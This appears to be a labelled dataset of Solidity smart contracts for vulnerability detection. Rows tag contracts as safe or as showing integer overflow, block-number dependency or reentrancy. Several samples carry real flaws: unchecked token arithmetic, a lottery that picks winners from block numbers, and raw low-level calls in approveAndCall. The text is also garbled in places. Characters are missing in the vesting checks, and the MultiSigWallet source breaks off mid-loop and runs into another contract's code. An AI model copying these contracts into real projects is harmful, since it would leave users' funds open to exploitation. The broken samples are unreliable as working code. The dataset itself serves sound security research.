logging * @param purchaser who paid for the tokens * @param value weis paid for purchase * @param amount amount of tokens purchased */ event TokenPurchase(address indexed purchaser, uint256 value, uint256 amount); function Sale(address tokenAddress, address calculatorAddress) { tokenSeller = msg.sender; token = ERC20(tokenAddress); setCalculatorAddress(calculatorAddress); } function () payable { buyTokens(); } function buyTokens() payable { uint256 weiAmount = msg.value; // calculate token amount to be created uint256 tokens = calculator.getAmount(weiAmount); assert(tokens >= minimalTokens); token.transferFrom(tokenSeller, msg.sender, tokens); TokenPurchase(msg.sender, weiAmount, tokens); } function setTokenSeller(address newTokenSeller) onlyOwner { tokenSeller = newTokenSeller; } function setCalculatorAddress(address calculatorAddress) onlyOwner { calculator = Calculator(calculatorAddress); } function setMinimalTokens(uint256 _minimalTokens) onlyOwner { minimalTokens = _minimalTokens; } function withdraw(address beneficiary, uint amount) onlyOwner { require(beneficiary != 0x0); beneficiary.transfer(amount); } }",Safe,8,8 395.sol,"pragma solidity ^0.4.24; contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } contract Ownable { address public owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() public { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function renounceOwnership() public onlyOwner { emit OwnershipRenounced(owner); owner = address(0); } function transferOwnership(address _newOwner) public onlyOwner { _transferOwnership(_newOwner); } function _transferOwnership(address _newOwner) internal { require(_newOwner != address(0)); emit OwnershipTransferred(owner, _newOwner); owner = _newOwner; } } contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; modifier whenNotPaused() { require(!paused); _; } modifier whenPaused() { require(paused); _; } function pause() onlyOwner whenNotPaused public { paused = true; emit Pause(); } function unpause() onlyOwner whenPaused public { paused = false; emit Unpause(); } } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract KAA is ERC20,Pausable{ using SafeMath for uint256; string public constant name=""KAA""; string public constant symbol=""KAA""; string public constant version = ""1.0""; uint256 public constant decimals = 18; uint256 public constant PLATFORM_FUNDING_SUPPLY=13395000000*10**decimals; uint256 public constant TEAM_KEEPING=13395000000*10**decimals; uint256 public constant COOPERATE_REWARD=8037000000*10**decimals; uint256 public constant SHARDING_REWARD=8930000000*10**decimals; uint256 public constant MINING_REWARD=45543000000*10**decimals; uint256 public constant COMMON_WITHDRAW_SUPPLY=SHARDING_REWARD+MINING_REWARD; uint256 public constant MAX_SUPPLY=COMMON_WITHDRAW_SUPPLY+PLATFORM_FUNDING_SUPPLY+TEAM_KEEPING+COOPERATE_REWARD; uint256 public innerlockStartTime; uint256 public outterlockStartTime; uint256 public unlockStepLong; uint256 public platformFundingSupply; uint256 public platformFundingPerEpoch; uint256 public teamKeepingSupply; uint256 public teamKeepingPerEpoch; uint256 public cooperateRewardSupply; uint256 public totalCommonWithdrawSupply; mapping(address=>uint256) public lockAmount; mapping(address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; constructor() public{ totalSupply = 0 ; platformFundingSupply=0; teamKeepingSupply=0; cooperateRewardSupply=0; totalCommonWithdrawSupply=0; platformFundingPerEpoch=1116250000*10**decimals; teamKeepingPerEpoch=1116250000*10**decimals; innerlockStartTime = 1629216000; outterlockStartTime=1566057600; unlockStepLong=2592000; } event CreateKAA(address indexed _to, uint256 _value); modifier notReachTotalSupply(uint256 _value){ assert(MAX_SUPPLY>=totalSupply.add(_value)); _; } modifier notReachPlatformFundingSupply(uint256 _value){ assert(PLATFORM_FUNDING_SUPPLY>=platformFundingSupply.add(_value)); _; } modifier notReachTeamKeepingSupply(uint256 _value){ assert(TEAM_KEEPING>=teamKeepingSupply.add(_value)); _; } modifier notReachCooperateRewardSupply(uint256 _value){ assert(COOPERATE_REWARD>=cooperateRewardSupply.add(_value)); _; } modifier notReachCommonWithdrawSupply(uint256 _value){ assert(COMMON_WITHDRAW_SUPPLY>=totalCommonWithdrawSupply.add(_value)); _; } function processFunding(address receiver,uint256 _value) internal notReachTotalSupply(_value) { totalSupply=totalSupply.add(_value); balances[receiver]=balances[receiver].add(_value); emit CreateKAA(receiver,_value); emit Transfer(0x0, receiver, _value); } function commonWithdraw(uint256 _value) external onlyOwner notReachCommonWithdrawSupply(_value) { processFunding(msg.sender,_value); totalCommonWithdrawSupply=totalCommonWithdrawSupply.add(_value); } function withdrawToPlatformFunding(uint256 _value) external onlyOwner notReachPlatformFundingSupply(_value) { if (!canPlatformFundingWithdraw(_value)) { revert(); }else{ processFunding(msg.sender,_value); platformFundingSupply=platformFundingSupply.add(_value); } } function withdrawToTeam(uint256 _value) external onlyOwner notReachTeamKeepingSupply(_value) { if (!canTeamKeepingWithdraw(_value)) { revert(); }else{ processFunding(msg.sender,_value); teamKeepingSupply=teamKeepingSupply.add(_value); } } function withdrawToCooperate(address _to,uint256 _value) external onlyOwner notReachCooperateRewardSupply(_value) { processFunding(_to,_value); cooperateRewardSupply=cooperateRewardSupply.add(_value); lockAmount[_to]=lockAmount[_to].add(_value); } function canPlatformFundingWithdraw(uint256 _value)public view returns (bool) { if(queryNow()12) { epoch=12; } uint256 releaseAmount = platformFundingPerEpoch.mul(epoch); uint256 canWithdrawAmount=releaseAmount.sub(platformFundingSupply); if(canWithdrawAmount>=_value){ return true; }else{ return false; } } function canTeamKeepingWithdraw(uint256 _value)public view returns (bool) { if(queryNow()12) { epoch=12; } uint256 releaseAmount=teamKeepingPerEpoch.mul(epoch); uint256 canWithdrawAmount=releaseAmount.sub(teamKeepingSupply); if(canWithdrawAmount>=_value){ return true; }else{ return false; } } function clacCooperateNeedLockAmount(uint256 totalLockAmount)public view returns (uint256) { if(queryNow()12) { epoch=12; } uint256 remainingEpoch=uint256(12).sub(epoch); uint256 cooperatePerEpoch= totalLockAmount.div(12); return cooperatePerEpoch.mul(remainingEpoch); } function queryNow() public view returns(uint256){ return now; } function () payable external { revert(); } function transfer(address _to, uint256 _value) public whenNotPaused returns (bool) { require(_to != address(0)); uint256 needLockBalance=0; if (lockAmount[msg.sender]>0) { needLockBalance=clacCooperateNeedLockAmount(lockAmount[msg.sender]); } require(balances[msg.sender].sub(_value)>=needLockBalance); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } function balanceOf(address _owner) public constant returns (uint256 balance) { return balances[_owner]; } function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool) { require(_to != address(0)); uint256 needLockBalance=0; if (lockAmount[_from]>0) { needLockBalance=clacCooperateNeedLockAmount(lockAmount[_from]); } require(balances[_from].sub(_value)>=needLockBalance); uint256 _allowance = allowed[_from][msg.sender]; balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = _allowance.sub(_value); emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public whenNotPaused returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) public constant returns (uint256 remaining) { return allowed[_owner][_spender]; } }",./Dataset/integer overflow (OF)/,4,4 45.sol," pragma solidity ^0.4.11; contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); function Ownable() { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract PricingStrategy { address public tier; function isPricingStrategy() public constant returns (bool) { return true; } function isSane(address crowdsale) public constant returns (bool) { return true; } function isPresalePurchase(address purchaser) public constant returns (bool) { return false; } function updateRate(uint newOneTokenInWei) public; function calculatePrice(uint value, uint weiRaised, uint tokensSold, address msgSender, uint decimals) public constant returns (uint tokenAmount); } library SafeMathLibExt { function times(uint a, uint b) returns (uint) { uint c = a * b; assert(a == 0 || c / a == b); return c; } function divides(uint a, uint b) returns (uint) { assert(b > 0); uint c = a / b; assert(a == b * c + a % b); return c; } function minus(uint a, uint b) returns (uint) { assert(b <= a); return a - b; } function plus(uint a, uint b) returns (uint) { uint c = a + b; assert(c>=a); return c; } } contract FlatPricingExt is PricingStrategy, Ownable { using SafeMathLibExt for uint; uint public oneTokenInWei; event RateChanged(uint newOneTokenInWei); modifier onlyTier() { if (msg.sender != address(tier)) throw; _; } function setTier(address _tier) onlyOwner { assert(_tier != address(0)); assert(tier == address(0)); tier = _tier; } function FlatPricingExt(uint _oneTokenInWei) onlyOwner { require(_oneTokenInWei > 0); oneTokenInWei = _oneTokenInWei; } function updateRate(uint newOneTokenInWei) onlyTier { oneTokenInWei = newOneTokenInWei; RateChanged(newOneTokenInWei); } function calculatePrice(uint value, uint weiRaised, uint tokensSold, address msgSender, uint decimals) public constant returns (uint) { uint multiplier = 10 ** decimals; return value.times(multiplier) / oneTokenInWei; } }",./Dataset/integer overflow (OF)/,4,4 1335.sol,"pragma solidity ^0.4.22; contract Lottery { address owner; address public beneficiary; mapping(address => bool) public playersMap; address[] public players; uint public playerEther = 0.01 ether; uint playerCountGoal; bool public isLotteryClosed = false; uint public rewards; event GoalReached(address recipient, uint totalAmountRaised); event FundTransfer(address backer, uint amount, bool isContribution); constructor() public { playerCountGoal = 10000 + randomGen(block.number - 1, 101); owner = msg.sender; } function () public payable { require(!isLotteryClosed && msg.value == playerEther, ""Lottery should not be closed and player should send exact ethers""); require(!playersMap[msg.sender], ""player should not attend twice""); players.push(msg.sender); playersMap[msg.sender] = true; emit FundTransfer(msg.sender, msg.value, true); checkGoalReached(); } modifier afterGoalReached() { if (players.length >= playerCountGoal) _; } function checkGoalReached() internal afterGoalReached { require(!isLotteryClosed, ""lottery must be opened""); isLotteryClosed = true; uint playerCount = players.length; uint winnerIndex = randomGen(block.number - 2, playerCount); beneficiary = players[winnerIndex]; rewards = playerEther * playerCount * 4 / 5; emit GoalReached(beneficiary, rewards); } function randomGen(uint seed, uint count) private view returns (uint randomNumber) { return uint(keccak256(abi.encodePacked(block.number-3, seed))) % count; } function safeWithdrawal() public afterGoalReached { require(isLotteryClosed, ""lottery must be closed""); if (beneficiary == msg.sender) { beneficiary.transfer(rewards); emit FundTransfer(beneficiary, rewards, false); } if (owner == msg.sender) { uint fee = playerEther * players.length / 5; owner.transfer(fee); emit FundTransfer(owner, fee, false); } } }",./Dataset/block number dependency (BN),0,0 658.sol,"pragma solidity 0.4.24; contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address _who) public view returns (uint256); function transfer(address _to, uint256 _value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } library SafeMath { function mul(uint256 _a, uint256 _b) internal pure returns (uint256 c) { if (_a == 0) { return 0; } c = _a * _b; assert(c / _a == _b); return c; } function div(uint256 _a, uint256 _b) internal pure returns (uint256) { return _a / _b; } function sub(uint256 _a, uint256 _b) internal pure returns (uint256) { assert(_b <= _a); return _a - _b; } function add(uint256 _a, uint256 _b) internal pure returns (uint256 c) { c = _a + _b; assert(c >= _a); return c; } } contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) internal balances; uint256 internal totalSupply_; function totalSupply() public view returns (uint256) { return totalSupply_; } function transfer(address _to, uint256 _value) public returns (bool) { require(_value <= balances[msg.sender]); require(_to != address(0)); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } function balanceOf(address _owner) public view returns (uint256) { return balances[_owner]; } } contract ERC20 is ERC20Basic { function allowance(address _owner, address _spender) public view returns (uint256); function transferFrom(address _from, address _to, uint256 _value) public returns (bool); function approve(address _spender, uint256 _value) public returns (bool); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; function transferFrom( address _from, address _to, uint256 _value ) public returns (bool) { require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); require(_to != address(0)); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function allowance( address _owner, address _spender ) public view returns (uint256) { return allowed[_owner][_spender]; } function increaseApproval( address _spender, uint256 _addedValue ) public returns (bool) { allowed[msg.sender][_spender] = ( allowed[msg.sender][_spender].add(_addedValue)); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval( address _spender, uint256 _subtractedValue ) public returns (bool) { uint256 oldValue = allowed[msg.sender][_spender]; if (_subtractedValue >= oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract Ownable { address public owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() public { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function renounceOwnership() public onlyOwner { emit OwnershipRenounced(owner); owner = address(0); } function transferOwnership(address _newOwner) public onlyOwner { _transferOwnership(_newOwner); } function _transferOwnership(address _newOwner) internal { require(_newOwner != address(0)); emit OwnershipTransferred(owner, _newOwner); owner = _newOwner; } } contract MintableToken is StandardToken, Ownable { event Mint(address indexed to, uint256 amount); event MintFinished(); bool public mintingFinished = false; modifier canMint() { require(!mintingFinished); _; } modifier hasMintPermission() { require(msg.sender == owner); _; } function mint( address _to, uint256 _amount ) public hasMintPermission canMint returns (bool) { totalSupply_ = totalSupply_.add(_amount); balances[_to] = balances[_to].add(_amount); emit Mint(_to, _amount); emit Transfer(address(0), _to, _amount); return true; } function finishMinting() public onlyOwner canMint returns (bool) { mintingFinished = true; emit MintFinished(); return true; } } contract BurnableToken is BasicToken { event Burn(address indexed burner, uint256 value); function burn(uint256 _value) public { _burn(msg.sender, _value); } function _burn(address _who, uint256 _value) internal { require(_value <= balances[_who]); balances[_who] = balances[_who].sub(_value); totalSupply_ = totalSupply_.sub(_value); emit Burn(_who, _value); emit Transfer(_who, address(0), _value); } } contract XRT is MintableToken, BurnableToken { string public constant name = ""Robonomics Beta""; string public constant symbol = ""XRT""; uint public constant decimals = 9; uint256 public constant INITIAL_SUPPLY = 1000 * (10 ** uint256(decimals)); constructor() public { totalSupply_ = INITIAL_SUPPLY; balances[msg.sender] = INITIAL_SUPPLY; emit Transfer(0x0, msg.sender, INITIAL_SUPPLY); } } contract DutchAuction { event BidSubmission(address indexed sender, uint256 amount); uint constant public MAX_TOKENS_SOLD = 800 * 10**9; uint constant public WAITING_PERIOD = 30 minutes; XRT public xrt; address public ambix; address public wallet; address public owner; uint public ceiling; uint public priceFactor; uint public startBlock; uint public endTime; uint public totalReceived; uint public finalPrice; mapping (address => uint) public bids; Stages public stage; enum Stages { AuctionDeployed, AuctionSetUp, AuctionStarted, AuctionEnded, TradingStarted } modifier atStage(Stages _stage) { require(stage == _stage); _; } modifier isOwner() { require(msg.sender == owner); _; } modifier isWallet() { require(msg.sender == wallet); _; } modifier isValidPayload() { require(msg.data.length == 4 || msg.data.length == 36); _; } modifier timedTransitions() { if (stage == Stages.AuctionStarted && calcTokenPrice() <= calcStopPrice()) finalizeAuction(); if (stage == Stages.AuctionEnded && now > endTime + WAITING_PERIOD) stage = Stages.TradingStarted; _; } constructor(address _wallet, uint _ceiling, uint _priceFactor) public { require(_wallet != 0 && _ceiling != 0 && _priceFactor != 0); owner = msg.sender; wallet = _wallet; ceiling = _ceiling; priceFactor = _priceFactor; stage = Stages.AuctionDeployed; } function setup(address _xrt, address _ambix) public isOwner atStage(Stages.AuctionDeployed) { require(_xrt != 0 && _ambix != 0); xrt = XRT(_xrt); ambix = _ambix; require(xrt.balanceOf(this) == MAX_TOKENS_SOLD); stage = Stages.AuctionSetUp; } function startAuction() public isWallet atStage(Stages.AuctionSetUp) { stage = Stages.AuctionStarted; startBlock = block.number; } function changeSettings(uint _ceiling, uint _priceFactor) public isWallet atStage(Stages.AuctionSetUp) { ceiling = _ceiling; priceFactor = _priceFactor; } function calcCurrentTokenPrice() public timedTransitions returns (uint) { if (stage == Stages.AuctionEnded || stage == Stages.TradingStarted) return finalPrice; return calcTokenPrice(); } function updateStage() public timedTransitions returns (Stages) { return stage; } function bid(address receiver) public payable isValidPayload timedTransitions atStage(Stages.AuctionStarted) returns (uint amount) { require(msg.value > 0); amount = msg.value; if (receiver == 0) receiver = msg.sender; uint maxWei = MAX_TOKENS_SOLD * calcTokenPrice() / 10**9 - totalReceived; uint maxWeiBasedOnTotalReceived = ceiling - totalReceived; if (maxWeiBasedOnTotalReceived < maxWei) maxWei = maxWeiBasedOnTotalReceived; if (amount > maxWei) { amount = maxWei; receiver.transfer(msg.value - amount); } wallet.transfer(amount); bids[receiver] += amount; totalReceived += amount; BidSubmission(receiver, amount); if (amount == maxWei) finalizeAuction(); } function claimTokens(address receiver) public isValidPayload timedTransitions atStage(Stages.TradingStarted) { if (receiver == 0) receiver = msg.sender; uint tokenCount = bids[receiver] * 10**9 / finalPrice; bids[receiver] = 0; require(xrt.transfer(receiver, tokenCount)); } function calcStopPrice() view public returns (uint) { return totalReceived * 10**9 / MAX_TOKENS_SOLD + 1; } function calcTokenPrice() view public returns (uint) { return priceFactor * 10**18 / (block.number - startBlock + 7500) + 1; } function finalizeAuction() private { stage = Stages.AuctionEnded; finalPrice = totalReceived == ceiling ? calcTokenPrice() : calcStopPrice(); uint soldTokens = totalReceived * 10**9 / finalPrice; if (totalReceived == ceiling) { require(xrt.transfer(ambix, MAX_TOKENS_SOLD - soldTokens)); } else { xrt.burn(MAX_TOKENS_SOLD - soldTokens); } endTime = now; } }",./Dataset/block number dependency (BN),0,0 270.sol,"pragma solidity ^0.4.16; interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) public; } contract COPIthereum { string public name; string public symbol; uint8 public decimals = 18; uint256 public totalSupply; mapping (address => uint256) public balanceOf; mapping (address => mapping (address => uint256)) public allowance; event Transfer(address indexed from, address indexed to, uint256 value); event Burn(address indexed from, uint256 value); function COPIthereum( uint256 initialSupply, string tokenName, string tokenSymbol ) public { totalSupply = initialSupply * 10 ** uint256(decimals); balanceOf[msg.sender] = totalSupply; name = tokenName; symbol = tokenSymbol; } function _transfer(address _from, address _to, uint _value) internal { require(_to != 0x0); require(balanceOf[_from] >= _value); require(balanceOf[_to] + _value > balanceOf[_to]); uint previousBalances = balanceOf[_from] + balanceOf[_to]; balanceOf[_from] -= _value; balanceOf[_to] += _value; Transfer(_from, _to, _value); assert(balanceOf[_from] + balanceOf[_to] == previousBalances); } function transfer(address _to, uint256 _value) public { _transfer(msg.sender, _to, _value); } function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require(_value <= allowance[_from][msg.sender]); allowance[_from][msg.sender] -= _value; _transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool success) { allowance[msg.sender][_spender] = _value; return true; } function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) { tokenRecipient spender = tokenRecipient(_spender); if (approve(_spender, _value)) { spender.receiveApproval(msg.sender, _value, this, _extraData); return true; } } function burn(uint256 _value) public returns (bool success) { require(balanceOf[msg.sender] >= _value); balanceOf[msg.sender] -= _value; totalSupply -= _value; Burn(msg.sender, _value); return true; } function burnFrom(address _from, uint256 _value) public returns (bool success) { require(balanceOf[_from] >= _value); require(_value <= allowance[_from][msg.sender]); balanceOf[_from] -= _value; allowance[_from][msg.sender] -= _value; totalSupply -= _value; Burn(_from, _value); return true; } }",./Dataset/integer overflow (OF)/,4,4 0x0135ff54aa9547d0305528dd06275bc5fb174cbd_TFCoin.sol,"pragma solidity ^0.4.4; contract Token { /// @return total amount of tokens function totalSupply() constant returns (uint256 supply) {} /// @param _owner The address from which the balance will be retrieved /// @return The balance function balanceOf(address _owner) constant returns (uint256 balance) {} /// @notice send `_value` token to `_to` from `msg.sender` /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transfer(address _to, uint256 _value) returns (bool success) {} /// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from` /// @param _from The address of the sender /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {} /// @notice `msg.sender` approves `_addr` to spend `_value` tokens /// @param _spender The address of the account able to transfer the tokens /// @param _value The amount of wei to be approved for transfer /// @return Whether the approval was successful or not function approve(address _spender, uint256 _value) returns (bool success) {} /// @param _owner The address of the account owning tokens /// @param _spender The address of the account able to transfer the tokens /// @return Amount of remaining tokens allowed to spent function allowance(address _owner, address _spender) constant returns (uint256 remaining) {} event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } contract StandardToken is Token { function transfer(address _to, uint256 _value) returns (bool success) { //Default assumes totalSupply can't be over max (2^256 - 1). //If your token leaves out totalSupply and can issue more tokens as time goes on, you need to check if it doesn't wrap. //Replace the if with this one instead. //if (balances[msg.sender] >= _value && balances[_to] + _value > balances[_to]) { if (balances[msg.sender] >= _value && _value > 0) { balances[msg.sender] -= _value; balances[_to] += _value; Transfer(msg.sender, _to, _value); return true; } else { return false; } } function transferFrom(address _from, address _to, uint256 _value) returns (bool success) { //same as above. Replace this line with the following if you want to protect against wrapping uints. //if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && balances[_to] + _value > balances[_to]) { if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) { balances[_to] += _value; balances[_from] -= _value; allowed[_from][msg.sender] -= _value; Transfer(_from, _to, _value); return true; } else { return false; } } function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } function approve(address _spender, uint256 _value) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; uint256 public totalSupply; } contract TFCoin is StandardToken { function () { //if ether is sent to this address, send it back. throw; } /* Public variables of the token */ string public name; //name of token uint8 public decimals; //How many decimals to show. string public symbol; //Identifier string public version = 'H1.0'; //human 0.1 standard. function TFCoin( ) { balances[msg.sender] = 100000000000; // Give the creator all initial tokens totalSupply = 100000000000; // Update total supply name = ""TFCoin""; // Set the name for display purposes decimals = 0; // Amount of decimals for display purposes symbol = ""TFC""; // Set the symbol for display purposes } /* Approves and then calls the receiving contract */ function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); //call the receiveApproval function on the contract you want to be notified. This crafts the function signature manually so one doesn't have to include a contract in here just for this. //receiveApproval(address _from, uint256 _value, address _tokenContract, bytes _extraData) //it is assumed that when does this that the call *should* succeed, otherwise one would use vanilla approve instead. if(!_spender.call(bytes4(bytes32(sha3(""receiveApproval(address,uint256,address,bytes)""))), msg.sender, _value, this, _extraData)) { throw; } return true; } }",Safe,8,8 34056.sol,"pragma solidity ^0.4.13; /// @title Multisignature wallet - Allows multiple parties to agree on transactions before execution. /// @author Stefan George - <[email protected]> contract MultiSigWallet { uint constant public MAX_OWNER_COUNT = 50; event Confirmation(address indexed sender, uint indexed transactionId); event Revocation(address indexed sender, uint indexed transactionId); event Submission(uint indexed transactionId); event Execution(uint indexed transactionId); event ExecutionFailure(uint indexed transactionId); event Deposit(address indexed sender, uint value); event OwnerAddition(address indexed owner); event OwnerRemoval(address indexed owner); event RequirementChange(uint required); mapping (uint => Transaction) public transactions; mapping (uint => mapping (address => bool)) public confirmations; mapping (address => bool) public isOwner; address[] public owners; uint public required; uint public transactionCount; struct Transaction { address destination; uint value; bytes data; bool executed; } modifier onlyWallet() { if (msg.sender != address(this)) revert(); _; } modifier ownerDoesNotExist(address owner) { if (isOwner[owner]) revert(); _; } modifier ownerExists(address owner) { if (!isOwner[owner]) revert(); _; } modifier transactionExists(uint transactionId) { if (transactions[transactionId].destination == 0) revert(); _; } modifier confirmed(uint transactionId, address owner) { if (!confirmations[transactionId][owner]) revert(); _; } modifier notConfirmed(uint transactionId, address owner) { if (confirmations[transactionId][owner]) revert(); _; } modifier notExecuted(uint transactionId) { if (transactions[transactionId].executed) revert(); _; } modifier notNull(address _address) { if (_address == 0) revert(); _; } modifier validRequirement(uint ownerCount, uint _required) { if ( ownerCount > MAX_OWNER_COUNT || _required > ownerCount || _required == 0 || ownerCount == 0) revert(); _; } modifier notValidAddress(address _address) { if(_address == 0x0) revert(); _; } /// @dev Fallback function allows to deposit ether. function() payable { if (msg.value > 0) Deposit(msg.sender, msg.value); } /* * Public functions */ /// @dev Contract constructor sets initial owners and required number of confirmations. /// @param _owners List of initial owners. /// @param _required Number of required confirmations. function MultiSigWallet(address[] _owners, uint _required) public validRequirement(_owners.length, _required) { for (uint i=0; i<_owners.length; i++) { if (isOwner[_owners[i]] || _owners[i] == 0) revert(); isOwner[_owners[i]] = true; } owners = _owners; required = _required; } /// @dev Allows to add a new owner. Transaction has to be sent by wallet. /// @param owner Address of new owner. function addOwner(address owner) public onlyWallet ownerDoesNotExist(owner) notNull(owner) validRequirement(owners.length + 1, required) { isOwner[owner] = true; owners.push(owner); OwnerAddition(owner); } /// @dev Allows to remove an owner. Transaction has to be sent by wallet. /// @param owner Address of owner. function removeOwner(address owner) public onlyWallet ownerExists(owner) { isOwner[owner] = false; for (uint i=0; i owners.length) changeRequirement(owners.length); OwnerRemoval(owner); } /// @dev Allows to replace an owner with a new owner. Transaction has to be sent by wallet. /// @param owner Address of owner to be replaced. /// @param owner Address of new owner. function replaceOwner(address owner, address newOwner) public onlyWallet ownerExists(owner) ownerDoesNotExist(newOwner) { for (uint i=0; i= _value && balances[_to] + _value > balances[_to]) { // if (balances[msg.sender] >= _value && _value > 0) { balances[msg.sender] -= _value; balances[_to] += _value; Transfer(msg.sender, _to, _value); return true; } else {return false;} } function transferFrom(address _from, address _to, uint256 _value) returns (bool success) { if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && balances[_to] + _value > balances[_to]) { // if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) { balances[_to] += _value; balances[_from] -= _value; allowed[_from][msg.sender] -= _value; Transfer(_from, _to, _value); return true; } else {return false;} } function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } function approve(address _spender, uint256 _value) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } mapping(address => uint256) balances; mapping(address => mapping(address => uint256)) allowed; uint256 public totalSupply; } contract CHIP is StandardToken { function() { //if ether is sent to this address, send it back. throw; } /* Public variables of the token */ string public name; uint8 public decimals; string public symbol; string public version = '2.0.0.RELEASE'; function CHIP() { balances[msg.sender] = 1000000000000000000000000000; totalSupply = 1000000000000000000000000000; name = ""Chip""; decimals = 18; symbol = ""CHIP""; } /* Approves and then calls the receiving contract */ function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); //call the receiveApproval function on the contract you want to be notified. This crafts the function signature manually so one doesn't have to include a contract in here just for this. //receiveApproval(address _from, uint256 _value, address _tokenContract, bytes _extraData) //it is assumed that when does this that the call *should* succeed, otherwise one would use vanilla approve instead. if (!_spender.call(bytes4(bytes32(sha3(""receiveApproval(address,uint256,address,bytes)""))), msg.sender, _value, this, _extraData)) {throw;} return true; } }",./Dataset/reentrancy (RE)/,5,5 43752.sol,"pragma solidity ^0.4.21; // File: zeppelin-solidity/contracts/ownership/Ownable.sol /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of ""user permissions"". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } // File: zeppelin-solidity/contracts/ownership/Claimable.sol /** * @title Claimable * @dev Extension for the Ownable contract, where the ownership needs to be claimed. * This allows the new owner to accept the transfer. */ contract Claimable is Ownable { address public pendingOwner; /** * @dev Modifier throws if called by any account other than the pendingOwner. */ modifier onlyPendingOwner() { require(msg.sender == pendingOwner); _; } /** * @dev Allows the current owner to set the pendingOwner address. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner public { pendingOwner = newOwner; } /** * @dev Allows the pendingOwner address to finalize the transfer. */ function claimOwnership() onlyPendingOwner public { OwnershipTransferred(owner, pendingOwner); 